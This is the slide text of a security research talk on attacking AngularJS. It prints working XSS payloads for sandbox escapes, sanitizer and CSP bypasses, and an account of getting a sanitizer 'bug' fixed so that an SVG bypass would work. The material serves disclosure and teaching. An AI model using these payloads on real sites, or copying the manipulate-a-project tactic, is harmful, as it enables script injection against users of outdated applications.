  • 16. A1: The AngularJS Sandbox ● The AngularJS Sandbox is a weird creature with strange motivations. ● According to the documents, it's not a security tool. ● It is mostly meant to “get devs off that DOM”. ● Mean, to limit exposure of the original DOM to avoid its pitfalls. ● The AngularJS sandbox is in place for expressions and several directives. ● User input reflected in an expression often means immediate XSS. The sandbox prevents that.
  • 17. A1: First Bypasses ● Bypassing the sandbox in early AngularJS versions was trivial. ● {{constructor.constructor('alert(1)')()}} ● That's it. Access the scope object's constructor, next access constructor again, get Function, done. ● Function('code here')(); // like an eval ● This attack works starting with version AngularJS 1.0 and stops working in 1.2.0. ● Sadly, many sites still employ AngularJS 1.1.x. ● And have difficulties upgrading due to API changes. Or simply don't care about upgrades.
  • 18. <!-- Bypassing Sandboxes, Toddler-style --!> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.1.5/angular.min.js"> </script> <div class="ng-app"> {{ constructor.constructor('alert(1)')() }} </div>
  • 19. A1: First Fixes ● AngularJS reacted to this and implemented fixes. Because “no security tool”, right? ● This was done by restricting access to Function (and other dangerous objects) ● So, we needed to get Function from somewhere else. ● Somewhere, where AngularJS doesn't notice we have access to it. ● ES5, Callbacks and __proto__ help here!
  • 20. A1: More Bypasses ● AngularJS' parser was actually quite smart. ● Bypasses needed to be more creative. ● Finders are Jann Horn, Mathias Karlsson and Gábor Molnár ● And luckily, we had Object to provide methods to get Function from. ● Or mentioned callbacks. ● Let's dissect those for a brief moment.
  • 21. <!-- Jann Horn's Bypass --!> <html ng-app> <head> <meta charset="utf-8"> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.2.18/angular.js" ></script> </head> <body> {{ (_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor ( _.__proto__,$).value,0,'alert(1)')() }} </body>
  • 22. <!-- A Variation for AngularJS 1.2.0 --!> <html ng-app> <head> <meta charset="utf-8"> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.2.18/angular.js" ></script> </head> <body> {{ a="constructor";b={}; a.sub.call.call(b[a].getOwnPropertyDescriptor( b[a].getPrototypeOf( a.sub),a).value,0,'alert(1)')() }} </body>
  • 23. <!-- Mathias Karlsson's Bypass --> <html ng-app> <head> <meta charset="utf-8"> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.2.23/angular.js"> </script> </head> <body> {{ toString.constructor.prototype.toString =toString.constructor.prototype.call; ["a","alert(1)"].sort(toString.constructor) }} </body> </html>
  • 24. <!-- Gábor Molnár's Bypass --> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.3.0/angular.js"> </script> <body ng-app> {{ !ready && (ready = true) && ( !call ? $$watchers[0].get(toString.constructor.prototype) : (a = apply) && (apply = constructor) && (valueOf = call) && (''+''.toString( 'F = Function.prototype;' + 'F.apply = F.a;' + 'delete F.a;' + 'delete F.valueOf;' + 'alert(42);' )) ); }} </body> </html>
  • 25. <!-- Bypass via attributes, no user interaction → <!-- Open that page with #foo in the URL --> <!doctype html> <html> <head> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.3.1/angular.js" > </script> </head> <body> <a id="foo" ng-app ng- focus="$event.view.location.replace('javascript:document.write(docume nt.domain)')" contenteditable="true"></a> </body> </html>
  • 26. A1: Extreme Bypasses ● Jann Horn reported another bypass for 1.3.2 and it's insane
  • 27. <!-- Jann's rather extreme Bypass --> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.3.2/angular.js"></script> <body ng-app ng-csp> {{ objectPrototype = ({})[['__proto__']]; objectPrototype[['__defineSetter__']]('$parent', $root.$$postDigest); $root.$$listenerCount[['constructor']] = 0; $root.$$listeners = [].map; $root.$$listeners.indexOf = [].map.bind; functionPrototype = [].map[['__proto__']]; functionToString = functionPrototype.toString; functionPrototype.push = ({}).valueOf; functionPrototype.indexOf = [].map.bind; foo = $root.$on('constructor', null); functionPrototype.toString = $root.$new; foo(); }} {{ functionPrototype.toString = functionToString; functionPrototype.indexOf = null; functionPrototype.push = null; $root.$$listeners = {}; baz ? 0 : $root.$$postDigestQueue[0]('alert(location)')(); baz = true;'' }} </body> </html>
  • 28. A1: Current State ● What about versions 1.3.2 to latest? ● There is no publicly known sandbox bypasses. ● Access to pretty much everything has been restricted. ● No window, no Function, no Object, no call() or apply(), no document, no DOM nodes ● And all other interesting things the parser cannot understand. RegExp, “new”, anonymous functions. ● Is that the end of the road? ● Let's have a look!
  • 29. <!-- Jann Horn's latest Bypass --> <html> <head> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.4.5/angular.js" ></script> </head> <body ng-app> {{ 'this is how you write a number properly. also, numbers are basically arrays.'; 0[['__proto__']].toString = [][['__proto__']].pop; 0[['__proto__']][0] = 'alert("TROLOLOLn"+document.location)'; 0[['__proto__']].length = 1; 'did you know that angularjs eval parses, then re-stringifies numbers? :)'; $root.$eval("x=0", $root); }} </body> </html>
  • 30. A1: User Interaction ● And there is of course variations, the maintainers cannot really do much about. ● For example copy&paste, my favorite.
  • 31. <!-- Bypass using Copy&Paste in Firefox --> <meta charset="UTF-8"> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.4.6/angular.min.js"> </script> <body ng-app=""> <input ng-copy=" $event.preventDefault(); $event.clipboardData.setData('text/html','&lt;div contenteditable=&quot;false&quot;&gt;&lt;svg&gt;&lt;a xlink:href=&quot;?&quot; xmlns:xlink=&quot;http://www.w3.org/1999/xlink&quot;&gt;&lt;circle r=&quot;500&quot; fill=&quot;red&quot;&gt;&lt;/circle&gt;&lt;animate attributeName=&quot;xlink:href&quot; from=&quot;javascript:alert(1)&quot; to=&quot;&amp;&quot; begin=&quot;0&quot;&gt;&lt;/animate&gt;&lt;/a&gt;&lt;/svg&gt;&lt;/div &gt') " value="Copy Me"> <div contenteditable>PASTE HERE</div> </body> </html>
  • 32.
  • 33. A2
  • 34. A2: The Sanitizer ● AngularJS has an integrated HTML sanitizer. ● It's a component called $sanitize. ● It's purpose is to wash away XSS attacks from a string of HTML. ● And return a clean string of HTML ready for safe and secure usage. ● There is two major versions, one horrible version, one that's not so bad.
  • 35. A2: The Old Sanitizer ● The Old Sanitizer uses an actual HTML parser from 2008. ● That old thing from John E. Resig. ● It's extremely strict, hard to configure, crashes literally all the time. ● We published a test-case where you can play with it. ● And it can be bypassed if some likely prerequisites are met. ● Because of Chrome. ● Also, a friendly hat-tip to Gareth Heyes!
  • 37. A2: The New Sanitizer ● The New Sanitizer is still ugly. But it uses the DOM instead of a parser. ● Namely, document.implementation, just like DOMPurify ● It is still very strict, even more so since now it forbids SVG by default. Boo. ● Early versions did not and were “bypassable”. ● And SVG is admittedly tricky to handle. ● New versions do and are still “bypassable”. ● Because of Chrome. Again. ● Cheers, Roman Shafigullin.
  • 38. Affected Characters: &#5760; &#8192; &#8193; &#8194; &#8195; &#8196; &#8197; &#8198; &#8199; &#8200; &#8201; &#8202; &#8232; &#8287; A classic mXSS in Chrome!
  • 39.
  • 40. A3
  • 41. A3: Attacking the CSP Mode ● Contrary to many other frameworks, AngularJS works well together with CSP. ● CSP? Content Security Policy. ● The wannabe “XSS Killer”. ● And it has to, otherwise it wouldn't be deployable in extensions and alike. ● Its compatibility with CSP is a strength and a weakness at the same time. ● We are interested in the latter of course.
  • 42. A3: Early CSP Bypasses ● The first spotted bypasses were trivial to say the least. Just use Framework features. ● Take a website with strong CSP and older AngularJS. ● Find an injection. ● Don't do "onclick="alert(1)" ● But instead do "ng-click="$event.view.alert(1)". ● Because $event leaks window via view. ● This works until version 1.1.5.
  • 43. <?php header('Content-Security-Policy: default-src 'self' ajax.googleapis.com'); ?><html ng-app ng-csp> <head> <meta charset="utf-8"> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.1.5/angular.js" ></script> </head> <body> <h1 ng-click="$event.view.alert(1)">XSS</h1> <h1 ng:click="$event.view.alert(2)">XSS</h1> <h1 x-ng-click="$event.view.alert(3)">XSS</h1> <h1 data-ng-click="$event.view.alert(4)">XSS</h1> <h1 _-_-_-ng_-_-_click="$event.view.alert(5)">XSS</h1> </body> </html>
  • 44. A3: Fixes and new Bypasses ● Why not use the sandbox here as well? ● AngularJS started to prevent access to window and other properties. ● So we would do it indirectly, abusing a Chrome flaw, with the help of Blob. ● But for Blob we would need the “new” operator and AngularJS doesn't parse that. ● So we need to resort to using ES6 and the brand new Reflect API. ● This works until version 1.3.1 by the way. ● But there is a problem. Chrome doesn't implement Reflect.construct() yet. ● So we have a theoretical bypass for now. ● And Firefox as well as Edge respect CSP w. blob:.
  • 45. <?php header('Content-Security-Policy: default-src 'self' ajax.googleapis.com'); ?><html ng-app ng-csp> <head> <meta charset="utf-8"> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.3.1/angular.js" ></script> </head> <body> <h1 ng-click=" $event.view.location.replace($event.view.URL.createObjectURL($event. view.Reflect.construct( $event.view.Blob, [['<script>alert(1)</script>'],{type:'text/html'}]))) ">XSS</h1> <!-- without CSP we can of course do this --> <h1 ng- click="$event.view.location.replace('javascript:alert(1)')">XSS</h1> </body>
  • 46. <!-- read from bottom to top --> <h1 ng-click=" $event.view.location.replace( // 4. call location.replace $event.view.URL.createObjectURL( // 3. create Blob URL $event.view.Reflect.construct( // 2. get around “new” $event.view.Blob, [['<script>alert(1)</script>'], {type:'text/html'}] // 1. build a Blob ) ) ); ">XSS</h1>
  • 47. A3: Universal CSP Bypass ● There's another bypass they cannot easily fix. ● It works where applications use the Google CDN. ● And it relates to a collision check they implemented. Only too late. ● Because it landed in 1.2.15 and newer. ● “WARNING: Tried to load angular more than once.” ● And essentially enables a downgrade attack. ● That will, if Google CDN is white-listed, universally bypass CSP. Don't white-list that CDN. ● Just bring the old bypasses back!
  • 48. <?php header('Content-Security-Policy: default-src 'self' ajax.googleapis.com'); ?><html ng-app ng-csp> <head> <meta charset="utf-8"> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.4.6/angular.js" ></script> </head> <body> <h1 class=""><script/src=//ajax.googleapis.com/ajax/libs/angularjs/1.1.5/ angular.js></script><h1/ng- click=$event.view.alert(1)//>CLICKME"></h1> </body>
  • 49.
  • 50. A4
  • 51. A4: Attacking the Code-Base ● What does an attacker do if no exploitable bugs can be found? ● Of course. We attack the project itself. ● And use the power of open source to introduce changes that cause the bugs we want. ● And thereby get both praise for reporting a bug and the desired exploit for free. ● We did that to AngularJS. ● Google Security knew in advance, AngularJS did not.
  • 52. A4: The Con-Setup ● We needed a subtle “bug” that upon being fixed would raise a security issue. ● Or smuggle in a pull request that looks unsuspicious enough to pass QA. ● The first option is unlikely, like a lottery win. ● The second option is a bit more risky, what if we get detected? ● Well. ● We were lucky, that exact subtle “bug” existed and it did in the $sanitizer component. ● Let's have a look!
  • 53. A4: The Bug // SVG attributes (without "id" and "name" attributes) // https://wiki.whatwg.org/wiki/Sanitization_rules#svg_Attributes var svgAttrs = makeMap('accent-height,accumulate,additive,alphabetic,arabic-form,ascent,' + 'attributeName,attributeType,baseProfile,bbox,begin,by,calcMode,cap-height,class,color,' + 'color-rendering,content,cx,cy,d,dx,dy,descent,display,dur,end,fill,fill-rule,font-family,' + 'font-size,font-stretch,font-style,font-variant,font-weight,from,fx,fy,g1,g2,glyph-name,' + 'gradientUnits,hanging,height,horiz-adv-x,horiz-origin-x,ideographic,k,keyPoints,' + 'keySplines,keyTimes,lang,marker-end,marker-mid,marker-start,markerHeight,markerUnits,' + 'markerWidth,mathematical,max,min,offset,opacity,orient,origin,overline-position,' + 'overline-thickness,panose-1,path,pathLength,points,preserveAspectRatio,r,refX,refY,' + 'repeatCount,repeatDur,requiredExtensions,requiredFeatures,restart,rotate,rx,ry,slope,stemh,' + 'stemv,stop-color,stop-opacity,strikethrough-position,strikethrough-thickness,stroke,' + 'stroke-dasharray,stroke-dashoffset,stroke-linecap,stroke-linejoin,stroke-miterlimit,' + 'stroke-opacity,stroke-width,systemLanguage,target,text-anchor,to,transform,type,u1,u2,' + 'underline-position,underline-thickness,unicode,unicode-range,units-per-em,values,version,' + 'viewBox,visibility,width,widths,x,x-height,x1,x2,xlink:actuate,xlink:arcrole,xlink:role,' + 'xlink:show,xlink:title,xlink:type,xml:base,xml:lang,xml:space,xmlns,xmlns:xlink,y,y1,y2,' + 'zoomAndPan'); Fun fact, those attributes were considered safe because of a deprecated Wiki page from WHATWG: https://wiki.whatwg.org/wiki/Sanitization_rules
  • 54. A4: The Bug angular.forEach(attrs, function(value, key) { var lkey = angular.lowercase(key); // < here! var isImage = (tag === 'img' && lkey === 'src') || (lkey === 'background'); if (validAttrs[lkey] === true && (uriAttrs[lkey] !== true || uriValidator(value, isImage))) { out(' '); out(key); out('="'); out(encodeEntities(value)); out('"'); } } ); As we can see, the lowercasing ruins the test – and even valid attributes cannot pass. What a coincidence, that this happens exactly for dangerous attributes here! Thanks, SVG!
  • 55. A4: The Execution ● So, if that specific behavior observed in the sanitizer blocks a bypass... ● We need to file a bug to get it fixed! ● The bug. Not the bypass :) ● So we did that. ● And it got accepted!
  • 56. A4: The Bypass <svg> <a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="?"> <circle r="400"></circle> <animate attributeName="xlink:href" begin="0" from="javascript:alert(1)" to="&" /> </a> </svg> We use an animation to animate a link's href attribute from a benign, over a dangerous to a harmless but invalid state, causing the browser to jump back to the malicious state. Neat.
  • 57. A4: The Aftermath ● We reported the issue to Google Security. ● They informed the AngularJS Team. ● Nothing happened for weeks. ● The next release came close. Danger! ● We pinged again. ● They finally fixed our bug. ● Phew :) ● Now, note that file contains a big comment warning the developers.
  • 58. /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * Any commits to this file should be reviewed with security in mind. * * Changes to this file can potentially create security vulnerabilities. * * An approval from 2 Core members with history of modifying * * this file is required. * * * * Does the change somehow allow for arbitrary javascript to be executed? * * Or allows for someone to change the prototype of built-in objects? * * Or gives undesired access to variables likes document or window? * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
  • 59. And, in case you hate us a bit for doing that stunt...
  • 60. We even got Bug Bounty for that in the end! :D
  • 61.
  • 62. A Quick Conclusion ● AngularJS does in fact extend the attack surface dramatically. Older versions even more. ● Meanwhile, some things are done right. Others can almost never be fixed again. ● Developers have to know pitfalls to avoid them. ● And pitfalls often are unfairly hard to detect and avoid. Especially when CSP is involved. ● Many sites still use older versions. Many. ● Open Source can be risky if the traction is high. ● Google's team already does well though. ● But Google could do better in helping developers.
  • 63. The End ● Question? ● Comments? ● Thanks a lot! ● Shouts go out to ● Gareth McHeyes ● Jann Horn ● Mathias Karlsson ● Gábor Molnár ● David Ross ● Eduardo Vela